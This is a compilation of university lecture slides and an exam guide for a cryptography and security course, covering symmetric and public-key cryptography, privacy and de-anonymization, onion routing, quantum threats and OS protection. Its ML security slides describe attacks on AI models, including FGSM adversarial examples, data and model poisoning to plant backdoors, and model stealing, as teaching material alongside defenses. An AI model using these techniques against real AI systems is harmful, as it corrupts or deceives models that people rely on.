Cis4520 All Lecture Notes and Assignments
Cis4520 All Lecture Notes and Assignments
CIS 4520
Course Introduction
Course introduction
People
Schedule and Topics
Tasks and grading
2
Why CIS 4520?
3
Why CIS 4520?
4
Who’s who?
Education & Research Experience
Research Interest: Intersection of Cybersecurity and Machine Learning
• Instructor: Dr. Wenjing Zhang (she/her/hers)
5
Scholarly Trajectory
20 20 20 20
19 20 22 23
My past research has been published in Top Conferences and Journals in the field of
AI, Machine Learning, and Cybersecurity, including NeurIPS 2023, IEEE TIFS, TDSC.
6
Who’s who?
GTA
University of Guelph
E-mail: [email protected]
7
Time and location
Class: T/Th 5:30 PM – 6:50 PM
In Person, Guelph, Rozanski Hall 105
8
Course materials: required textbook
ASSIGNMENTS and FINAL EXAM will be based on the lecture notes and
supplemental reading materials.
9
Course materials: recommended textbooks
10
Prerequisites
Math
Number theory
Linear algebra
Probability
Programming
Python, C, etc…
CS (Basics)
Computer networking
Database
Web
11
Schedule (tentative)
12
Tasks and Grading
Project: 40%
13
Policies
14
Policies
Academic Integrity
15
Policies
Discussion and collaboration
You are absolutely encouraged to discuss with your classmates
about your homework assignments and projects.
Each student should write down your own solution.
Team competition: no discussion!
You are responsible for all your works
16
Assignment Late Policy
Late assignments will lose 10% of the total possible for each day
they are late.
Exceptions
Before deadline: instructor’s approval
After deadline: emergency only
17
What you will learn in this class?
18
What you will not learn…
19
Project
Combine research, implementation, and experimentation with a
topic of interest.
You can work on teams of two people of your own choosing; you
may also work on your own if you wish to.
Deliverables:
Project proposal
‒ Due: Friday, January 26 2024, 11:59PM EST
Midterm report discussion
‒ Due: Tuesday, February 27 2024
Pre-recorded presentation & demonstration video
‒ Due: Friday, April 5 2024, 11:59PM EST
Final report & code
‒ Due: Friday, April 12 2024, 11:59PM EST.
20
Suggested Project Topics
You May Propose Your Own
AI security
Data Privacy
Database security
Computer systems security
Network security
Internet and web security & privacy
Cloud security
Social engineering
21
Introduce Yourself
Name
22
Questions?
23
CIS 4520 Introduction to Cryptography, Winter 2024
Final Exam Preparation Guide
1 Instructions
2 Review Topics
It is important to have a deep understanding of the principles and concepts you have learned from this
course, as well as knowing how to apply them in scenarios relevant to information and network security.
The topics listed below are considered fundamental in this course, and each of them might be tested in the
final exam. Reviewing the lecture notes and assignments would be helpful.
• One-time pad: construction, XOR operation, and why it is perfectly secure, pros and cons.
– Symmetric Key Cryptography:
• Substitution-permutation networks: general structure and why do we need it.
• DES: The feistel structure, form of round function (S-Boxes and permutation), the key length of
DES; How to make more secure DES? – Triple DES, meet-in-the-middle attack, and how is Triple
DES designed, why?
• Five modes of encryption (how to encrypt large messages), their pros and cons, how to protect the
message integrity using message authentication codes (MACs).
– Hashes and Message Digest:
• The desired properties of cryptographic hash functions: one-way property, collision resistance, and
randomness, why are they needed?
• Understand how to construct secure keyed hash function.
• Applications of hash functions: e.g., integrity check, authentication, commitment protocols, en-
cryption, etc. How to securely combine hash with encryption to achieve both confidentiality and
authentication/integrity protection.
– Public Key Cryptography
• The basic concepts of public key cryptography, including public key encryption and signatures, what
security properties they can achieve.
• The RSA cryptosystem: know how public/private keys are generated; how to use public/private
keys to encrypt/decrypt messages; cryptanalysis of RSA; the vulnerabilities of textbook RSA.
• Digital signature schemes: security requirements, construction, possible attacks, hash and then sign.
• Applications of digital signatures – basic applications, and how to securely combine signature with
encryption to achieve both confidentiality and authentication/integrity protection.
– Key Management:
• Key pre-distribution: KDCs and CAs: why are they needed? How to do key distribution/manage-
ment with KDCs or CAs? What information is included in a ticket/certificate?
• Session key establishment, Diffie-Hellman key agreement: how does it work, why it’s secure against
eavesdroppers, why not secure against Man-in-the-Middle attacks? How to fix it?
• The public key infrastructure; certificate chains: how to find a chain of trust in a particular model.
– Authentication:
• An assessment of potential challenges you might encounter and strategies to address them.
• What information is generally used in authentication? What you are, what you have, and what you
know.
• Authentication protocol design principles: concept of one-way and mutual authentication; some
typical designs of symmetric key based and public key based authentication schemes; be familiar
with the known security handshake pitfalls: what are the common attacks? How do they work?
How to defend against them? E.g., replay attack; the role of different types of random numbers. Be
able to reason about the security of simple authentication protocols and fix vulnerabilities; design
simple authentication protocols that are secure under given adversary models and goals.
– Kerberos V4/V5::
• The function of Kerberos and the security services it provides; basic system configuration.
• The authentication mechanisms used in Kerberos Authentication – the concepts of KDC, long-term
authentication key, session key, ticket, ticket-granting ticket, authenticator, credential, etc.
– IPSec:
• Understand the motivation of IPSec – various IP level attacks such as IP spoofing.
3
• The two protocols in IPSec – AH, ESP. The security services each protocol provides.
• Two operation modes – Transport mode and Tunnel modes. The difference between the two modes
and the suitable application scenarios.
• What process is applied to the packet by AH and ESP, including considerations regarding header
structure?
– SSL/TLS:
• The security services SSL/TLS provide.
• Understand the different mechanisms, protocols used in server authentication and client authen-
tication. Understand how each security goal is achieved in SSL/TLS (e.g., authentication, key
establishment, confidentiality, integrity).
• Compare Kerberos, IPSec, and SSL, understand the different scopes of applicability and implemen-
tation locations in TCP/IP protocol stack.
– Firewalls:
• Types of firewalls: Stateless and stateful packet filtering firewall, application-level firewall.
• Firewall rules: understand and apply.
– Intrusion Detection Systems:
• Basic methods: Statistical anomaly detection, signature approaches, rule-based intrusion detection.
• The Base-rate Bayesian Fallacy.
– Software & Web Security:
• Buffer overflows, SQL injection, Cross Site Scripting (XSS): How do they work? How to avoid such
attacks when writing new apps?
• Trojan horses,viruses, worms, rootkits; understand how they work and their differences.
– Privacy
• Statistical Database Privacy: understand the concept of anonymity, common privacy breaches, clas-
sical privacy protection techniques.
• Network Anonymity: Understand onion routing and route establishment.
– Important topics in Cybersecurity but not included in the exam:
• Operating System Security
• Machine Learning Security
• Quantum Computing & Post-quantum Cryptography
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
CIS 4520 Introduction to Cryptography
Introduction to
Security and Privacy
in
AI/Machine Learning
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Machine Learning (ML)
Wenjing Zhang
• A branch of artificial intelligence that learns from
data to make decisions or predictions.
• Data is cheap and abundant (data warehouses, data
marts); knowledge is expensive and scarce.
• Example in retail: Customer transactions to
consumer behavior:
– People who bought “Da Vinci Code” also bought “The
Five People You Meet in Heaven” (Amazon)
– People who bought beer also bought chips (Walmart)
– People who like photography also like travel (Google Ads)
2
CIS 4520
Introduction to
Cryptography
Different Types of ML
Wenjing Zhang Supervised Unsupervised Reinforcement
Learning Learning Learning
4
CIS 4520
Introduction to
Cryptography
Statistical Machine Learning (SML)
5
CIS 4520
Introduction to
Cryptography
Deep Learning (DL)
6
CIS 4520
Introduction to
Cryptography
Machine Learning and Security
Wenjing Zhang
7
CIS 4520
Introduction to
Cryptography
Machine Learning for Security
8
CIS 4520
Introduction to
Cryptography
Adversarial Machine Learning
9
CIS 4520
Introduction to
Cryptography
Security & Privacy in Machine Learning
Wenjing Zhang
Stop
Sign
𝒙 𝑓(𝒙) 𝑙𝑐 = 𝑓(𝒙)
11
CIS 4520
Introduction to
Cryptography
Security Threats in Machine Learning
Wenjing Zhang
12
CIS 4520
Introduction to
Cryptography
Evasion Attacks (Adversarial Examples)
13
CIS 4520
Introduction to
Cryptography
Evasion Attacks (Adversarial Examples)
Wenjing Zhang
+ Speed
Limit 60
′
𝒙′ 𝑓( ) 𝑓 𝒙 ≠ 𝑙𝑐
𝑥′ is the adversarial example that looks almost
identical to the original to human eyes but is
entirely different to the neural network.
14
CIS 4520
Introduction to
Cryptography
Evasion Attacks (Adversarial Examples)
Wenjing Zhang
network?
– A loss function is defined, which could be as
simple as
𝐿 𝒙, 𝑦, 𝑤 = 𝑓 𝒙 − 𝑦
The The
The The
input network
label DNN
image weights
16
CIS 4520
Introduction to
Cryptography
Evasion Attacks (Adversarial Examples)
– Activation function:
Neuron
17
CIS 4520
Introduction to
Cryptography
Evasion Attacks (Adversarial Examples)
network?
Learning rate – Gradient decent
𝑤 ′ = 𝑤 − 𝛼∇𝑤 𝐿(𝒙, 𝑦, 𝑤)
Gradient of Loss
with respect to w
gives us the
direction in which
we should adjust
our parameters to
reduce the loss.
Image Credit: Oscar Knagg, Know your enemy–Why adversarial examples are more important than you realize
https://towardsdatascience.com/know-your-enemy-the-fascinating-implications-of-adversarial-examples-5936bccb24af
18
CIS 4520
Introduction to
Cryptography
Evasion Attacks (Adversarial Examples)
network?
– Gradient decent on the sample
′
𝒙 = 𝒙 + 𝜖sign(∇𝒙 𝐿 𝒙, 𝑦, 𝑤 )
19
CIS 4520
Introduction to
Cryptography
Evasion Attacks (Adversarial Examples)
Wenjing Zhang
• Small changes (bounded by the perturbation
budget) that are imperceptible to human eyes
could fool the deep learning models.
|| 𝒙 ′ − 𝑥||𝑝 < 𝜖
• Attack success rate of FGSM-16 could reach
80%+ on CIFAR and ImageNet datasets.
20
CIS 4520
Introduction to
Cryptography
Security & Privacy in Machine Learning
Wenjing Zhang
21
CIS 4520
Introduction to
Cryptography
Backdoor Attacks (Neural Trojans)
Speed
Limit 60
𝒙′ 𝑓′( ) 𝑓′ 𝒙′ ≠ 𝑙𝑐
22
CIS 4520
Introduction to
Cryptography
Backdoor Attacks (Neural Trojans)
23
CIS 4520
Introduction to
Cryptography
Backdoor Attacks (Neural Trojans)
Wenjing Zhang
• Data Poisoning Attacks
• Pollute the training data
• Add trigger patterns to benign training images
• Give adversarial labels to these images
• Inject adversarial samples into training dataset
T. Gu, K. Liu, B. Dolan-Gavitt and S. Garg, "BadNets: Evaluating Backdooring Attacks on Deep Neural
Networks," in IEEE Access, vol. 7, pp. 47230-47244, 2019, doi: 10.1109/ACCESS.2019.2909068.
24
CIS 4520
Introduction to
Cryptography
Backdoor Attacks (Neural Trojans)
Wenjing Zhang • Model Poisoning Attacks
• Inject backdoors into DNN network structure
• Inject a neural Trojan into the victim DNN
• Train it with adversarial data (freeze the rest of
the DNN)
• Share the backdoored DNN
25
CIS 4520
Introduction to
Cryptography
Security & Privacy in Machine Learning
Wenjing Zhang
26
CIS 4520
Introduction to
Cryptography
Exploratory Attacks (Model/Data Stealing)
Wenjing Zhang
Defense
28
CIS 4520
Introduction to
Cryptography
Defense: DNN Sanitization
• Robust Models
Wenjing Zhang
– Adversarial training
• DNN Sanitization/Pruning
– Fine-pruning [RAID’18]
• DNN Anomaly Detection
– NeuralCleanse [S&P’19], ABS [CCS’19]
• Input Sanitization
– Februus [ACSAC’20]
• Backdoor Trigger Detection
– STRIP [ACSAC’19]
29
CIS 4520
Introduction to
Cryptography
Security and Privacy Conference
• https://sec-deadlines.github.io/
Wenjing Zhang
30
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Privacy
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Tech Giants Fined for Privacy Breaches
Wenjing Zhang
2
CIS 4520
Introduction to
Cryptography
2017 Billboard Campaign by Spotify
Wenjing Zhang
4
CIS 4520
Introduction to
Cryptography
What is Privacy?
What is Privacy?
5
CIS 4520
Introduction to
Databases in Real-world Applications
Cryptography
Wenjing Zhang
6
CIS 4520
Introduction to
Cryptography
Massive Real-world Data Collection
Wenjing Zhang • Settings where data collector may not be trusted
(or may not want the liability …)
Application Data Collector Private Function (utility)
Information
7
CIS 4520
Introduction to
Cryptography
Social Network Data
Wenjing Zhang
• Facebook currently has over 400 million users
• Each of these users specify details about
themselves
• For example:
• Microdata table
Wenjing Zhang
ID QID SA
Name Zipcode Age Sex Disease
Alice 47677 29 F Ovarian Cancer
Betty 47602 22 F Ovarian Cancer
Charles 47678 27 M Prostate Cancer
David 47905 43 M Flu
Emily 47909 52 F Heart Disease
Fred 47906 47 M Heart Disease
9
CIS 4520
Introduction to
Cryptography
Location Data
10
CIS 4520
Introduction to Location Privacy Leakage
Cryptography
• Reconstruct individual
location traces within
location density
Ave.
‒ Occupation: Student of home
University of Guelph
University of Guelph, ON
11
CIS 4520
Introduction to
Cryptography
Location Data Reveal US Military Bases
The Guardian: A US military base in Helmand Province,
Wenjing Zhang
Afghanistan with routes taken by joggers highlighted by Strava
12
CIS 4520
Introduction to
Cryptography
What is Privacy?
Wenjing Zhang • From user perspective (privacy concerns)
– Identity and identifiable information?
• My SSN
– Sensitive personal information?
• My birthdate
– Information access and information flow?
• When I post a message on Facebook, who sees the
message?
– Usage of information
• You can use my income data to approve this credit
card, but NOT to send me advertisements.
13
CIS 4520
Introduction to
Cryptography
What is Privacy?
Wenjing Zhang • From solution perspective (addressing
privacy concerns)
– Anonymity: Privacy as protecting the identity
• Data anonymity: remove identifiable information from
data
• Network anonymity: hide identity on the internet
– Private-preserving data publishing/sharing
• Identities cannot be recovered from anonymized data
• Two parties “share” information to compute a function
(e.g., the intersection of two lists), but neither party
learns the raw data.
– Privacy-preserving data mining
• You can learn aggregate data, but not individual record
14
CIS 4520
Introduction to
Cryptography
What is Privacy?
15
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
16
CIS 4520
Introduction to
Cryptography
What is Privacy?
17
CIS 4520
Introduction to
Cryptography
Data Anonymity
Wenjing Zhang • Privacy
– Large collections of data: census, survey,
social networks, public records, etc.
– Identifiable information and sensitive
attributes.
• Two opposing goals
– To allow researchers to extract knowledge
about the data
– To protect the privacy of every individual
18
CIS 4520
Introduction to
Cryptography
Data Anonymity
19
CIS 4520
Introduction to
Cryptography
Data Anonymity
• Microdata table
Wenjing Zhang
ID QID SA
Name Zipcode Age Sex Disease
Alice 47677 29 F Ovarian Cancer
Betty 47602 22 F Ovarian Cancer
Charles 47678 27 M Prostate Cancer
David 47905 43 M Flu
Emily 47909 52 F Heart Disease
Fred 47906 47 M Heart Disease
20
CIS 4520
Introduction to
Cryptography
Data Anonymity
• Microdata table
Wenjing Zhang
ID QID SA
Name Zipcode Age Sex Disease
Alice 47677 29 F Ovarian Cancer
Betty 47602 22 F Ovarian Cancer
Charles 47678 27 M Prostate Cancer
David 47905 43 M Flu
Emily 47909 52 F Heart Disease
Fred 47906 47 M Heart Disease
21
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Slido
22
CIS 4520
Introduction to
Cryptography
Data Anonymity
• Latanya Sweeney @ CMU
Wenjing Zhang
– Purchased voter’s registration data from Mass. and
compared with medical records.
– Successfully identified medical record of Mass. governor
– 87% of the U.S. Population are uniquely identified by
{date of birth, gender, ZIP}.
23
CIS 4520
Introduction to
Cryptography
The Netflix Prize (USD 1,000,000)
Wenjing Zhang
• The Netflix Prize: who has the best prediction algorithm?
– 100M ratings from 480K users on 17K movies
– Data was (not so) carefully sanitized: anonymized, modified
dates, partial data.
– Movie information (title and year) was provided
• Arvind Narayanan and Vitaly Shmatikov, Robust De-
anonymization of Large Datasets (How to Break Anonymity
of the Netflix Prize Dataset), IEEE S&P 2008.
– Can re-identify users by correlating the anonymized data with
publicly available information, particularly from the Internet
Movie Database (IMDb).
– Netflix was sued and Netflix Prize II was canceled.
• Anonymization is NOT enough!
24
CIS 4520
Introduction to
Cryptography
Individually Identifiable Information
ID QID SA
Name Zipcode Age Sex Disease
Alice 47677 29 F Ovarian Cancer
Betty 47602 22 F Ovarian Cancer
Charles 47678 27 M Prostate Cancer
David 47905 43 M Flu
Emily 47909 52 F Heart Disease
Fred 47906 47 M Heart Disease
25
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Slido
26
CIS 4520
Introduction to
Cryptography
Classes of Solutions
• Data Obfuscation/Perturbation
Wenjing Zhang
27
CIS 4520
Introduction to
Cryptography
Data Obfuscation/Perturbation
• Approaches
– Randomly modify data (e.g., add noise)
– Swap values between records
– Controlled modification of data to hide secrets
– Constrains: preserve data utility
• should not change statistical distribution
• should not interfere legitimate use of data
• Problems
– Does it really protect the data?
– Can we learn from the results?
28
CIS 4520
Introduction to
Cryptography
Data Obfuscation/Perturbation
Wenjing Zhang
• Example: US Census Bureau Public Use of large-
scale Microdata
• US Census Bureau summarizes by census block
– Minimum 300 people; ranges rather than values
• For research, “complete” data provided for sample
populations
– Identifying information removed: limitation of detail:
geographic distinction, continuous interval; Top/bottom
coding (eliminate sparse/sensitive values)
– Swap data values among similar individuals: if
individual determined, sensitive values likely incorrect
29
CIS 4520
Introduction to
Cryptography
Data Summarization
30
CIS 4520
Introduction to
Cryptography
Data Summarization
31
CIS 4520
Introduction to
Cryptography
Data Separation
• Approaches
– Data held by owner/creator
– Limited release to trusted third party
– Operations/analysis performed by trusted party
• Problems
– Will the trusted party be willing to do the
analysis? Could be a “bottleneck” as well
– Do the analysis results disclose private
information?
32
CIS 4520
Introduction to k-Anonymity
Cryptography
33
CIS 4520
Introduction to
Cryptography
k-Anonymity & Generalization
Wenjing Zhang
• k-Anonymity
– Each record is indistinguishable from at least k-1 other
records
– These k records form an equivalent class
– k-Anonymity ensures that linking cannot be performed
with confidence > 1/k.
• Generalization
– Replace with less-specific but semantically-consistent
values
476** 2*
*
34
CIS 4520
Introduction to
Cryptography
k-Anonymity & Generalization
• 3-Anonymous table
Wenjing Zhang
35
CIS 4520
Introduction to
Cryptography
k-Anonymity & Generalization
• This is wrong
Wenjing Zhang
The Microdata
QID SA
Zipcode Age Sex Disease
476** 2* F Ovarian Cancer
476** 2* M Ovarian Cancer
476** 3* F Prostate Cancer
479** 3* M Flu
479** 3* F Heart Disease
479** 2* M Heart Disease
36
CIS 4520
Introduction to
Cryptography
k-Anonymity & Generalization
Wenjing Zhang • k-Anonymity does not provide privacy if:
– Sensitive values in an equivalence class lack
diversity
– The attacker has background knowledge
A 3-anonymous patient table
Homogeneity Attack
Zipcode Age Disease
Bob
Zipcode Age
476** 2* Heart Disease
47678 27 476** 2* Heart Disease
476** 2* Heart Disease
Background Knowledge 4790* ≥40 Flu
Attack 4790* ≥40 Heart Disease
Carl 4790* ≥40 Cancer
Zipcode Age 476** 3* Heart Disease
47673 36 476** 3* Cancer
476** 3* Cancer
37
CIS 4520
Introduction to
Cryptography
k-Anonymity & Generalization
databases!
• Improved solutions of k-Anonymity tend
to be ad-hoc
• Differential Privacy
– A rigorous privacy notion
38
CIS 4520
Introduction to
Cryptography
Differential Privacy (DP)
Wenjing Zhang • A theoretical model
– Dataset D and D’ differ on at most one record
– M is a statistical query or a data mining
algorithm
– Indistinguishable results
whether you (or anyone)
are in the dataset or not
– Smaller ε equals stronger privacy
39
CIS 4520
Introduction to
Cryptography
Differential Privacy (DP)
Wenjing Zhang
Key idea: released statistic is about the same if any
individual's record is removed from the database.
40
CIS 4520
Introduction to
Cryptography
Differential Privacy (DP)
Wenjing Zhang • Question: why pairs of datasets that differ in one
row?
41
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Slido
42
CIS 4520
Introduction to
Cryptography
Differential Privacy (DP)
Wenjing Zhang • Question: why pairs of datasets that differ in one
row?
• Answer: simulate the presence or absence of a
single record
43
CIS 4520
Introduction to
Cryptography
Differential Privacy (DP)
• Algorithm:
Wenjing Zhang
44
CIS 4520
Introduction to
Cryptography
Differential Privacy (DP)
• Example:
Wenjing Zhang
45
CIS 4520
Introduction to
Cryptography
Differential Privacy (DP): Applications
Wenjing Zhang • Google:
– Launched the first commercial use of DP in 2014.
– Applied it to study malware in Chrome without
gathering private user information.
• Apple:
– Implements DP to collect data in iOS devices.
– Uses this data to improve features like keyboard
suggestions, Spotlight search, and Notes.
– Collects trends in language and emoji use across users
while maintaining individual privacy.
• Microsoft:
– Spearheaded the development of DP.
– Applied DP to telemetry data in Windows.
– Applied DP in LinkedIn for advertiser queries and
suggesting replies within office-related contexts.
46
CIS 4520
Introduction to
Cryptography
Statistical Database Privacy Protection
47
CIS 4520
Introduction to
Cryptography
Summary
• Security
Wenjing Zhang
– Encryption,
• e.g., DES, AES, RSA…
– Provide utility only to the key owner
• Privacy
– Data Obfuscation/Perturbation
• e.g., k-anonymity, Differential Privacy
– Provide utility to the public
• Allow researchers to extract knowledge about data
48
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
49
CIS 4520
Introduction to
Cryptography
What is Privacy?
50
CIS 4520
Introduction to
Cryptography
Privacy on Public Networks
Wenjing Zhang • Internet is designed as a public network
– Wi-Fi access points, network routers see all
traffic that passes through them
• Routing information is public
– IP packet headers identify source and
destination
– Even a passive observer can easily figure out
who is talking to whom
• Frequently visiting websites related to a specific
health condition
• Constant exchange of data between two IP
addresses might suggest a personal relationship
• Frequent requests to location-based services could
indicate a person's whereabouts or routine
slide 51
CIS 4520
Introduction to
Cryptography
Why is Encryption not Enough?
Wenjing Zhang • Encryption does not hide identities
– Encryption hides the payload/message, but
not routing information. Headers are left
exposed. Both to the receiver and attacker.
– Even IP-level encryption (tunnel-mode
IPsec/ESP) reveals IP addresses of IPsec
gateways.
• These addresses can provide clues about the origin
and destination of the data.
slide 52
CIS 4520
Introduction to
Cryptography
Internet Anonymity
Wenjing Zhang
• Unlinkability
– The adversary knows all the senders and
receivers but cannot link senders to receivers
• Sender anonymity
• Receiver anonymity
53
CIS 4520
Introduction to
Cryptography
Anonymity via Random Routing
Wenjing Zhang
• Hide message source through random routing
• Routers cannot definitively determine the
origin/source of the message
– the true sender or another router
54
CIS 4520
Introduction to
Cryptography
Random Routing
Wenjing Zhang • Popular techniques:
– Chaum’s Mix (Chaum 1981)
• Correspondence hiding between sender & receiver
by wrapping messages in layers and relaying
through “mix” routers.
– Onion routing (Syverson et al. 1997)
• Layered encryption using pair-wise symmetric keys
– Crowds (Reiter et al. 1998)
• Probabilistic random walk with probability factor,
hides initiator of traffic through multicast responses
– P5 (Sherwood et al. 2001)
• Dining cryptographer network
– Tarzan, MorphMix, Freedom, Tor, Cashmere,
Salsa, …
55
CIS 4520
Introduction to
Cryptography
Onion Routing
56
CIS 4520
Introduction to
Cryptography
Onion Routing
Wenjing Zhang • The smart bit is using layered encryption so every
node can only decrypt part of the message.
CIS 4520
Introduction to
Cryptography
Onion Routing
Wenjing Zhang
[Reed, Syverson, Goldschlag 1997]
slide 62
CIS 4520
Introduction to
Cryptography
Slides References
Wenjing Zhang
4
Traditional cryptography
algorithms
• Symmetric encryption --- AES
• Asymmetric encryption -- RSA
[2] [3]
Approx. Prime Count: 10100 / log(10100) = 1.67x1097
6
Prime numbers in
600 digits?
Prime numbers in 600 digits?
9
Properties of Quantum
computing
[5]
Superposition Entanglement
[6]
Bits vs Qubits
▪ BITS ▪ QUBITS
▪ Bits are the basic units of classical computing. ▪ Qubits are the basic units of quantum computing.
▪ A bit can represent either a 0 or a 1. ▪ A qubit can exist in a superposition of 0 and 1,
meaning it can represent both states
simultaneously.
▪ Bits are processed sequentially, one at a time. ▪ Qubits can process multiple possibilities in
parallel, allowing for exponential computational
power.
▪ Classical computers perform calculations by ▪ Quantum computers perform calculations by
manipulating and processing bits using logic manipulating and processing qubits using
gates. quantum gates.
▪ The state of a bit is always definite and ▪ The state of a qubit is probabilistic and can only
deterministic. be determined upon measurement.
• Quantum Computing Power: Break widely used
cryptographic algorithms.
12
Grover’s Algorithm
Grover’s Algorithm
• Quantum Search of unstructured
database Algorithm
18
• Let N be the number that needs to be
factorized.
• And randomly generate the number g,
such that 1<g<N and
gcd(g, N) = 1
How Shor’s • Find p (period) such that,
algorithm f(x)=gx (mod N) => f(x+p)=f(x)
• If p is odd and g(p/2)+1=N, start again by
works? guessing any other number
• And the factors of N are going to be
gcd(g(p/2) ±1, N)
Example
20
Post-quantum
Cryptography (PQC)
Post-quantum
Cryptography (PQC)
23
PQC vs Quantum Cryptography
PQC vs Quantum Cryptography
1. https://www.techtarget.com/searchsecurity/definition/cryptography
2. https://www.techtarget.com/searchsecurity/definition/Advanced-
Encryption-Standard
3. https://www.geeksforgeeks.org/rsa-full-form/
4. https://physics.stackexchange.com/questions/582737/has-it-been-
practically-proven-that-quantum-superposition-exists-if-yes-how-d
5. https://news.fnal.gov/2021/04/new-computing-algorithms-expand-
the-boundaries-of-a-quantum-future/
6. https://medium.com/@shivesrini2013/a-brief-intro-to-quantum-
computing-693611da68f3
7. https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-
encryption-what-are-differences
8. https://www.geeksforgeeks.org/difference-between-encryption-and-
cryptography/
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Outline
• Introduction
Wenjing Zhang
• Levels of OS Protection
• Memory Protection
• Access Protection
• Access Control
• OS Attacks
2
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
OS Security: Introduction
CIS 4520
Introduction to
Cryptography
Introduction
Wenjing Zhang • Four components of a computer system
CIS 4520
Introduction to
Cryptography
Introduction
Wenjing Zhang • Computer System Structure: can be divided
into four components
– Hardware - provides basic computing resources
• CPU, memory, I/O devices
– Operating system
• Controls and coordinates use of hardware among
various applications and users
– Application programs
• define the ways in which the system resources are
used to solve the computing problems of the users
• Word processors, compilers, web browsers, database
systems, video games
– Users
• People, machines, other computers
CIS 4520
Introduction to
Cryptography
Introduction
Wenjing Zhang • What is an Operating System (OS)?
– A program that acts as an intermediary
between a user of a computer and the computer
hardware
• Operating System goals:
– Execute user programs and make solving user
problems easier
– Make the computer system convenient to use
– Use the computer hardware in an efficient
manner
6
CIS 4520
Introduction to
Cryptography
Introduction
Wenjing Zhang • OS: still software
– All software security vulnerabilities still apply
• OS must protect users from each other by
enforcing:
– memory protection
• prevents unauthorized access to user data or code in
memory
– file protection
• secures private files from unauthorized access
– general control and access to objects
• manages user rights for devices, apps, resources
– user authentication
• verifies the identity of users
7
CIS 4520
Introduction to
Cryptography
Introduction
• sharing is desirable
• protection is difficult
8
CIS 4520
Introduction to
Cryptography
Introduction
• Early History
Wenjing Zhang
– no OS
– programs entered directly in binary through
switches
– user’s program only one on system
– user responsible for:
• loading dependent libraries, other tools
• scheduling time to use computer
– OS security?
9
CIS 4520
Introduction to
Cryptography
Introduction
• Later
Wenjing Zhang
10
CIS 4520
Introduction to
Cryptography
Introduction
• OS protection – separation
Wenjing Zhang
– Combinations of these
• OS Security is about reconciling
separation and sharing
11
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
• no protection
Wenjing Zhang
• isolation
• share all or nothing
• share via access limitation
• share by capabilities
• limit use of an object
13
CIS 4520
Introduction to
Cryptography
Levels of Protection
• No protection
Wenjing Zhang
14
CIS 4520
Introduction to
Cryptography
Uniprogramming w/o memory protection
15
CIS 4520
Introduction to
Cryptography
Uniprogramming w/o memory protection
memory addresses
• An OS uses the higher memory addresses
• An application can address any physical
memory location
000000 ffffff
Physical memory
16
CIS 4520
Introduction to
Cryptography
Levels of Protection
• Isolation
Wenjing Zhang
000000 ffffff
Physical memory
17
CIS 4520
Introduction to
Cryptography
Levels of Protection
18
CIS 4520
Introduction to
Cryptography
Levels of Protection
19
CIS 4520
Introduction to
Cryptography
Levels of Protection
20
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
OS space
Fence
User space
23
CIS 4520
Introduction to
Cryptography
Memory Protection
Wenjing Zhang • Fences: protect OS from user program
– Problem?
• fixed boundary too restrictive; doesn’t protect users
from each other
– moveable fence: store fence location in register
24
CIS 4520
Introduction to
Cryptography
Memory Protection
Wenjing Zhang
• Relocation
– programs written to run starting at address 0
– can be run at any address
– addresses in source are symbolic:
• e.g., numStudents
– compiler binds these to relocatable addresses.
• e.g. 20 bytes from beginning of module func
– then linker or loader binds to absolute
addresses
• e.g. 20114
– logical addresses mapped to physical by
Memory Management Unit (MMU)
– program never sees real addresses
25
CIS 4520
Introduction to
Cryptography
Memory Protection
paging.
• They have been covered in your OS class.
26
CIS 4520
Introduction to
Cryptography
Memory Protection
• Wrap-up
Wenjing Zhang
– Each process
• has its own address space
• thinks it’s the only process on machine
– MMU provides translation between process’s
address space and physical space
– process cannot generate address not in its own
space
27
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
29
CIS 4520
Introduction to
Cryptography
Access Protection
Wenjing Zhang
• Kernel mode vs. User mode
– fundamental division of execution privileges in
an operating system
– Kernel mode (full privileges):
• OS, drivers, trusted code
• Reference to full memory space
• Unrestricted access to all the resources
– User mode (limited privileges):
• Applications, some drivers
• No direct access to hardware outside allocated space
• Protection rings (x86 architecture)
– Ring 0: Kernel
– Ring 3: User
30
CIS 4520
Introduction to
Cryptography
Access Protection
Wenjing Zhang
• Switching from Kernel mode to User mode
– To run a user program, the kernel:
– Creates a process and initialize the address
space
– Loads the program into the memory
– Initializes translation tables
– Sets the hardware pointer to the translation
table
– Sets the CPU to user mode
– Jumps to the entry point of the program
31
CIS 4520
Introduction to
Cryptography
Access Protection
• Voluntary
– System calls: a user process asks the OS to do
something on the process’s behalf
• Involuntary
– Hardware interrupts (e.g., I/O)
– Program exceptions (e.g., segmentation fault)
32
CIS 4520
Introduction to
Cryptography
Access Protection
33
CIS 4520
Introduction to
Cryptography
Access Protection
34
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
• Examples:
– memory
– secondary storage
– hardware devices
– some data structure
– instructions
– passwords and user-authentication mechanism
– the protection mechanism itself
36
CIS 4520
Introduction to
Cryptography
Control of Access to General Objects
37
CIS 4520
Introduction to
Cryptography
Control of Access to General Objects
• Directory
Wenjing Zhang
38
CIS 4520
Introduction to
Cryptography
Control of Access to General Objects
Wenjing Zhang
39
CIS 4520
Introduction to
Cryptography
Control of Access to General Objects
• Directory
Wenjing Zhang
– simple *but*
– lists can get very long
• what about shared libraries, programs?
– same item in many lists
– revoking permissions?
• have to go through everyone’s lists
40
CIS 4520
Introduction to
Cryptography
Control of Access to General Objects
41
CIS 4520
Introduction to
